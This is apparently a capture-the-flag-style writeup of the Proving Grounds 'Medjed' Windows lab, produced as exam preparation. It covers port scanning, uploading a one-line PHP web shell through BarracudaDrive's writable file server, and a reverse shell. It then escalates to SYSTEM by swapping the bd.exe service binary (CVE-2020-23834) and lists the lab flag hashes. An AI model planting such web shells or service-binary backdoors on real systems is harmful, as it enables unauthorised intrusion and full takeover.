Proving Grounds: Medjed [OSCP Prep 2025 — Practice 6]

Introduction

This is my sixth writeup in the Proving Grounds series, which is part of my learning roadmap before taking the OSCP exam. This machine is called Medjed, categorized as Intermediate, and runs on the Windows operating system.

Target IP:

192.168.*.127

Tools:

1. Rustscan (https://github.com/RustScan/RustScan)
2. AutoRecon (https://github.com/Tib3rius/AutoRecon)
3. HoaxShell (https://github.com/t3l3machus/hoaxshell)
4. nc.exe (https://github.com/int0x33/nc.exe/)

Reconnaissance:

The first and most important step in penetration testing is information gathering/reconnaissance. Here, I started with port scanning using Rustscan. For a more effective reconnaissance process, I also utilize AutoRecon, which runs if the results of the basic recon are not helpful.

Command: rustscan -a 192.168.131.127 — -sV -oN nmap.txt

The port scanning results reveal several interesting open ports on the Windows machine: 8000, 45332, 45443, and 30021.

• Port 8000: HTTP
• Port 45332: HTTP
• Port 45443: HTTP
• Port 30021: FTP

Since port 8000, 45332, and 45443 is open, it indicates that a web service is running. One of the attack vectors for achieving Command Injection is through the web, as a port scan revealed no open remote access services like RDP.

Here is the page displayed when accessing http://192.168.131.127:8000/.

Here is the page displayed when accessing http://192.168.131.127:45332/.

Here is the page displayed when accessing http://192.168.131.127:45443/.

Below is a list of files and folders available on the FTP server when accessed.

Ports 45332 and 45443 only display a Quiz page. These web services do not have any interesting features, and the 30021 (FTP) port, which allows anonymous login, contains no useful information.

I decided to focus on port 8000 because, upon access, it displays the BarracudaDrive Administrator setup page. This is interesting because it could allow me to gain Administrator access directly to the web service.

Initial Access:

I proceeded to set up the Administrator account. After that, I accessed the About page to check the BarracudaDrive version in use.

The version detected was BarracudaDrive 6.5. A quick vulnerability check on this version revealed CVE-2020–23834, which relates to Insecure Service File Permission, potentially leading to Local Privilege Escalation.

While this vulnerability is not directly related to achieving Command Injection, I made a note of it since it could be useful for Privilege Escalation once system access is obtained.

I then navigated to the Web-File-Server menu, which contained a File Server Link. This suggests that BarracudaDrive functions similarly to cloud storage (like Google Drive) but operates as a file-sharing server. The server permissions were set to “read” and “write”, meaning I could view the drive’s contents and upload files.

Accessing http://192.168.131.127:8000/fs/ and navigating to the C: drive revealed its full filesystem structure, including standard folders such as Program Files, Users, and others.

Uploading a Backdoor for Command Injection

Since the permissions allowed “read” and “write” access, I uploaded a PHP backdoor to the directory:

http://192.168.131.127:8000/fs/C/xampp/htdocs/ .

<?php echo system($_GET["_"]); ?>

The upload was successful, but when I tried to access http://192.168.131.127:8000/shell.php, the file was not found.

Remembering that ports 45332 and 45443 were hosting quiz pages, I attempted to access:

http://192.168.131.127:45443/shell.php?_=whoami

This successfully executed a command injection, revealing the current user as jerren.

I immediately executed a reverse shell using hoaxshell to establish a persistent connection.

Privilege Escalation:

Now that I had a standard user shell (jerren), the next step was escalating privileges to Administrator or SYSTEM user.

During my initial information gathering, I discovered that BarracudaDrive 6.5 has an Insecure File Permission vulnerability that leads to Local Privilege Escalation (CVE-2020–23834). I proceeded with the exploitation.

For the Proof of Concept (PoC), I referenced the boku7 GitHub repository.

Exploiting Insecure File Permissions

First, I checked the Folder and File Permissions of bd.exe, located at: C:\bd\bd.exe.

The results confirmed Insecure Folder Permissions and Insecure File Permissions.

Why is this a security risk?

The NT AUTHORITY\Authenticated Users group had Change (C) permissions, meaning:

• Any user with valid credentials is automatically a member of Authenticated Users.
• This allowed my user to modify the contents of the C:\bd\ folder, including replacing bd.exe for exploitation.

To verify that my jerren user was part of NT AUTHORITY\Authenticated Users, I checked the user groups.

The results confirmed jerrenas a member of NT AUTHORITY\Authenticated Users.

Executing the Exploit

Checking the service configuration for bd, I found that its StartMode was set to Auto.

What does this mean?

• When I replace bd.exe with a malicious backdoor, I need to reboot the system.
• Upon reboot, the bd.exe service will automatically start, executing my backdoor with SYSTEM privileges.

Crafting the Backdoor

I created an EXE backdoor to establish a reverse shell with SYSTEM privileges.

Compiling the EXE backdoor with x86_64-w64-mingw32-gcc.

I then replaced the existing bd.exe with my malicious backdoor. Then Reboot the system to trigger the backdoor execution. Also dont forget to Set up a Netcat listener to catch the SYSTEM shell:

After waiting for the system to restart, I successfully gained SYSTEM privileges!.

Post Exploitation:

Read local.txt: 7f92bf07b98bc86f950895507b417c23

Read proof.txt: b6ce5822788b89915517f267cf9ece2f

Closing Remarks:

Thank you for reading my writeup. I hope it is helpful to all of you. I apologize for any mistakes in my writing. I appreciate any feedback or suggestions to help me improve in the future.

• Instagram: @muhammad.iwn
• Portfolio: https://banuaa.github.io/
• LinkedIn: https://www.linkedin.com/in/muhammad-ichwan-banua/